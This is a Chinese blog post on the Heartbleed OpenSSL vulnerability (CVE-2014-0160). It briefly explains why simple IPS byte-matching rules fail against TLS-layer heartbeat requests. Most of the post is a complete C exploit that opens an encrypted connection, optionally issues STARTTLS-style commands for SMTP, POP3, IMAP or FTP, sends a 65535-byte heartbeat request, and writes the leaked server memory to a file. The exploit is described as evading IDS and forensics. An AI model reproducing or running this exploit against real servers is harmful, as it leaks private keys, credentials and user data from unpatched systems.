摘要: 这几天openssl的信息泄露漏洞闹得满城风雨,漏洞的原因http://drops.wooyun.org/papers/1381分析得很清楚了。第一个版本的EXP是针对HTTPS的,我提出作简单的IPS规则过滤。匹配tcp协议payload长度为8字节并且前6...
这几天openssl的信息泄露漏洞闹得满城风雨,漏洞的原因http://drops.wooyun.org/papers/1381分析得很清楚了。第一个版本的EXP是针对HTTPS的,我提出作简单的IPS规则过滤。匹配tcp协议payload长度为8字节并且前6个字节等于\0×18\0×03\0×02\0×00\0×03\0×01的数据包,做丢弃处理。
结果今天有老外放出一个新的EXP,https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.c。它不是在TCP层去发送心跳请求,而是改成了在TLS层去做。这样,心跳请求就是加密的了,长度不固定,而且固定的字节进一步缩短,IPS规则再缩短的话就有大量误报了,估计厂商只能精确识别,简单的规则行不通了。
另外的,由于是OpenSSL的漏洞,影响面不仅仅是HTTPS,其它的应用也在范围之内,因此有了这个EXP,https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py,它可以DUMP非HTTPS的数据,如SMTPS的。
BTW,465、993、995这种端口,默认就是SSL的,不需要STARTTLS之类的指令,监听25端口的SMTP默认明文,但是有的可以用STARTTLS要求开启加密隧道。
有鉴于此,我把这两个EXP整合了一下,即可以躲避简单的IPS,也可以搞SMTPS之类的服务。IMAPS的没测试,没找到合适的目标机器。
/** CVE-2014-0160 heartbleed OpenSSL information leak exploit* =========================================================* This exploit uses OpenSSL to create an encrypted connection* and trigger the heartbleed leak. The leaked information is* returned encrypted and is then decrypted, decompressed and* wrote to a file to annoy IDS/forensics.*** yunshu@outlook.com**/#include <stdio.h>#include <stdint.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <getopt.h>#include <signal.h>#include <netdb.h>#include <fcntl.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <inttypes.h>#include <openssl/bio.h>#include <openssl/ssl.h>#include <openssl/err.h>#include <openssl/evp.h>#include <openssl/tls1.h>#include <openssl/rand.h>#include <openssl/buffer.h>#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \(((unsignedint)(c[1])) )),c+=2)#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \c[1]=(unsignedchar)(((s) )&0xff)),c+=2)typedefstruct{intsocket;SSL *sslHandle;SSL_CTX *sslContext;} connection;typedefstruct{unsignedchartype;shortversion;unsignedintlength;unsignedcharhbtype;unsignedintpayload_length;void* payload;} heartbeat;inttcp_connect(char* server,intport){intsd,ret;structhostent *host;structsockaddr_in sa;host = gethostbyname(server);sd = socket(AF_INET, SOCK_STREAM, 0);if(sd==-1){printf("[!] cannot create socket\n");exit(0);}sa.sin_family = AF_INET;sa.sin_port = htons(port);sa.sin_addr = *((structin_addr *) host->h_addr);bzero(&(sa.sin_zero),8);printf("[ connecting to %s %d/tcp\n",server,port);ret = connect(sd,(structsockaddr *)&sa,sizeof(structsockaddr));if(ret==0){printf("[ connected to %s %d/tcp\n",server,port);}else{printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);exit(0);}returnsd;}voidssl_init(){SSL_load_error_strings();SSL_library_init();OpenSSL_add_all_digests();OpenSSL_add_all_algorithms();OpenSSL_add_all_ciphers();}connection* tls_connect(intsd){connection *c;c =malloc(sizeof(connection));c->socket = sd;c->sslHandle = NULL;c->sslContext = NULL;c->sslContext = SSL_CTX_new(TLSv1_client_method());if(c->sslContext==NULL)ERR_print_errors_fp(stderr);c->sslHandle = SSL_new(c->sslContext);if(c->sslHandle==NULL)ERR_print_errors_fp(stderr);if(!SSL_set_fd(c->sslHandle,c->socket))ERR_print_errors_fp(stderr);if(SSL_connect(c->sslHandle)!=1)ERR_print_errors_fp(stderr);if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){printf("[ warning: heartbeat extension is unsupported (try anyway)\n");}returnc;}intpre_cmd(intsd,inttype){charbuff[1024] = { 0 };// smtpif(type==1){char*cmd1 ="EHLO openssl.client.net\r\n";char*cmd2 ="STARTTLS\r\n";sd = get_banner( sd );sd = send_cmd( sd, cmd1 );sd = send_cmd( sd, cmd2 );}elseif(type==2){char*cmd ="STLS\r\n";sd = get_banner( sd );sd = send_cmd(sd, cmd);}elseif(type==3){char*cmd ="STARTTLS\r\n";sd = get_banner( sd );sd = send_cmd(sd, cmd);}elseif(type==4){char*cmd ="AUTH TLS\r\n";sd = get_banner( sd );sd = send_cmd(sd, cmd);}returnsd;}intget_banner(intsd ){charbuff[10240] = { 0 };memset( (void*)buff, 0,sizeof(buff) );recv(sd, buff,sizeof(buff)-1, 0 );printf("[ recv: %s\n", buff );returnsd;}intsend_cmd(intsd,char*cmd ){charbuff[10240] = { 0 };send(sd, (void*)cmd,strlen(cmd), 0 );printf("[ send: %s\n", cmd );memset( (void*)buff, 0,sizeof(buff) );recv(sd, buff,sizeof(buff)-1, 0 );printf("[ recv: %s\n", buff );returnsd;}void* heartbleed(connection *c){unsignedchar*buf, *p;intret;buf = OPENSSL_malloc(1 + 2);p = buf;*p++ = TLS1_HB_REQUEST;s2n(0xffff,p);printf("[ setting heartbeat payload_length to 65535 bytes\n");printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);OPENSSL_free(buf);printf("[ exp send finished.\n");returnc;}void* sneakyleaky(connection *c,char* filename,intverbose){char*p;intssl_major,ssl_minor,al;intenc_err,n,i;SSL3_RECORD *rr;SSL_SESSION *sess;SSL* s;unsignedcharmd[EVP_MAX_MD_SIZE];shortversion;unsigned mac_size, orig_len;size_textra;rr= &(c->sslHandle->s3->rrec);sess=c->sslHandle->session;s = c->sslHandle;if(c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)extra=SSL3_RT_MAX_EXTRA;elseextra=0;if((s->rstate != SSL_ST_READ_BODY) ||(s->packet_length < SSL3_RT_HEADER_LENGTH)) {n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);if(n <= 0)gotoapple;s->rstate=SSL_ST_READ_BODY;p=s->packet;rr->type= *(p++);ssl_major= *(p++);ssl_minor= *(p++);version=(ssl_major<<8)|ssl_minor;n2s(p,rr->length);if(rr->type==24){printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);}else{printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);s->packet_length=0;gotoapple;}}if(rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){i=rr->length;n=ssl3_read_n(s,i,i,1);if(n <= 0)gotoapple;}printf("[ decrypting and decompressing SSL packet\n");s->rstate=SSL_ST_READ_HEADER;rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);rr->data=rr->input;tls1_enc(s,0);if(verbose==1){{ unsignedintz;for(z=0; z<rr->length; z++)printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }printf("\n");}if((sess != NULL) &&(s->enc_read_ctx != NULL) &&(EVP_MD_CTX_md(s->read_hash) != NULL)){unsignedchar*mac = NULL;unsignedcharmac_tmp[EVP_MAX_MD_SIZE];mac_size=EVP_MD_CTX_size(s->read_hash);OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);orig_len = rr->length+((unsignedint)rr->type>>8);if(orig_len < mac_size ||(EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&orig_len < mac_size+1)){al=SSL_AD_DECODE_ERROR;SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);}if(EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){mac = mac_tmp;ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);rr->length -= mac_size;}else{rr->length -= mac_size;mac = &rr->data[rr->length];}i = tls1_mac(s,md,0);if(i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)enc_err = -1;if(rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)enc_err = -1;}if(enc_err < 0){al=SSL_AD_BAD_RECORD_MAC;SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);gotoapple;}if(s->expand != NULL){if(rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {al=SSL_AD_RECORD_OVERFLOW;SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);gotoapple;}if(!ssl3_do_uncompress(s)) {al=SSL_AD_DECOMPRESSION_FAILURE;SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);gotoapple;}}if(rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {al=SSL_AD_RECORD_OVERFLOW;SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);gotoapple;}rr->off=0;s->packet_length=0;printf("[ final record type=%d, length=%u\n", rr->type, rr->length);intfd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);write(fd,s->s3->rrec.data,s->s3->rrec.length);close(fd);printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);printf("[ done.\n");exit(0);apple:printf("[ problem handling SSL record packet - wrong type?\n");}voidusage(){printf("[\n");printf("[ --server|-s <ip/dns> - the server to target\n");printf("[ --port|-p <port> - the port to target\n");printf("[ --file|-f <filename> - file to write data to\n");printf("[ --type|-t - select service type to try\n");printf("[ 0 = default using ssl tunnel, don't need STARTTLS, just like 443(https),465(smtps),995(pop3s),993(imaps)\n");printf("[ 1 = smtp, 25\n");printf("[ 2 = pop3, 110\n");printf("[ 3 = imap, 389\n");printf("[ 4 = ftp, 21\n");printf("[\n");printf("[ --verbose|-v - output leak to screen\n");printf("[ --help|-h - this output\n");printf("[\n");exit(0);}intmain(intargc,char* argv[]){intret, port, userc, index;inttype = 1, udp = 0, verbose = 0, bind = 0;structhostent *h;connection* c;char*host, *file;intihost = 0, iport = 0, ifile = 0, itype = 0;printf("\n\n");printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");printf("[ =============================================================\n");staticstructoption options[] = {{"server", 1, 0,'s'},{"port", 1, 0,'p'},{"file", 1, 0,'f'},{"type", 1, 0,'t'},{"verbose", 0, 0,'v'},{"help", 0, 0,'h'}};while(userc != -1) {userc = getopt_long(argc,argv,"s:p:f:t:vh",options,&index);switch(userc) {case-1:break;case's':if(ihost==0){ihost = 1;h = gethostbyname(optarg);if(h==NULL){printf("[!] FATAL: unknown host '%s'\n",optarg);exit(1);}host =malloc(strlen(optarg) + 1);sprintf(host,"%s",optarg);}break;case'p':if(iport==0){port =atoi(optarg);iport = 1;}break;case'f':if(ifile==0){file =malloc(strlen(optarg) + 1);sprintf(file,"%s",optarg);ifile = 1;}break;case't':if(itype==0){type =atoi(optarg);itype = 1;}break;case'h':usage();break;case'b':if(ihost==0){ihost = 1;host =malloc(strlen(optarg)+1);sprintf(host,"%s",optarg);bind = 1;}break;case'v':verbose = 1;break;default:break;}}if(ihost==0||iport==0||ifile==0||itype==0){printf("[ try --help\n");exit(0);}ssl_init();ret = tcp_connect(host, port);if(type!=0){pre_cmd(ret, type);}c = tls_connect(ret);heartbleed(c);sneakyleaky(c,file,verbose);printf("\n\n");exit(0);}
原文地址:http://www.icylife.net/blog/?p=932



